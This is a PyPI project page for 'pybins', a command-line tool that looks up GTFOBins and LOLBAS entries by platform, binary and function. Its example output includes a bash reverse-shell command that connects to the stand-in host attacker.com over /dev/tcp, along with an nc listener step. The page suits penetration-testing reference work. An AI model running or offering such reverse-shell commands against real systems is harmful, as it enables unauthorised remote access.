Skip to main content

pybins is an command line utily that gather gtfobins and lolbins data.

Project description

PyBins

PyBins is a command line utily that wraps the content of GTFOBins and LOLBAS

Instalation:

pip install pybins

Usage:

usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]

PyBins Cmd Line wraper for GTFOBin and LOLBas

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Select the platform to lookup, Win/Windows or
                        Lin/Linux, case insensitive
  -b BINARY, --binary BINARY
                        The binary to lookup
  -f FUNCTION, --function FUNCTION
                        The function to lookup

Examples

List platform available binaries and functions/categories:

  • pybins -p win
  • pybins -p windows
  • pybins -p lin
  • pybins -p linux

List all linux binaries with reverse-shell function:

  • pybins -p lin -f reverse-shell
  • pybins -p linux -f reverse-shell

Output

The Function reverse-shell has the following binaries:

nc           perl     ksh    rview               cpan     node          telnet        irb
python       gdb      pip    bash                view     openssl       gimp          rvim
socat        vim      php    jrunscript          jjs      ruby          vimdiff       easy_install

List all functions of the Linus binary bash

  • pybins -p lin -b bash
  • pybins -p linux -b bash

Output

The binary bash has the following categories:

shell    reverse-shell      file-upload     file-download      file-write     file-read    library-load
suid     sudo

List all the commands for the binary bash and function reverse-shell on linux

  • pybins -p lin -b bash -f reverse-shell
  • pybins -p linux -b bash -f reverse-shell

Output

Description:  Run `nc -l -p 12345` on the attacker box to receive the shell.
Command:      export RHOST=attacker.com
              export RPORT=12345
              bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pybins-1.0.0.tar.gz (71.5 kB view details)

Uploaded Source

Built Distribution

pybins-1.0.0-py3-none-any.whl (137.5 kB view details)

Uploaded Python 3

File details

Details for the file pybins-1.0.0.tar.gz.

File metadata

  • Download URL: pybins-1.0.0.tar.gz
  • Upload date:
  • Size: 71.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3

File hashes

Hashes for pybins-1.0.0.tar.gz
Algorithm Hash digest
SHA256 9121b5999b384522c5928fdc476b04e73b9e649b554204475463dd51c2c5fcc6
MD5 2ea175673573346ea270a36de13ebc7f
BLAKE2b-256 de077f7beb9a5656e249be97843169bdc43fdaedf0741b766185270211a684a1

See more details on using hashes here.

File details

Details for the file pybins-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: pybins-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 137.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3

File hashes

Hashes for pybins-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 9a6b120fa1fb6789a5c48c25b0ef82201e564db837e7b5095c34467d57b99baa
MD5 10f940c488611b32cd9660a998e048b6
BLAKE2b-256 9be8f40cf837efc98e1d204aea0dba0c1ec16594bc45fee244265bb81a377ffc

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page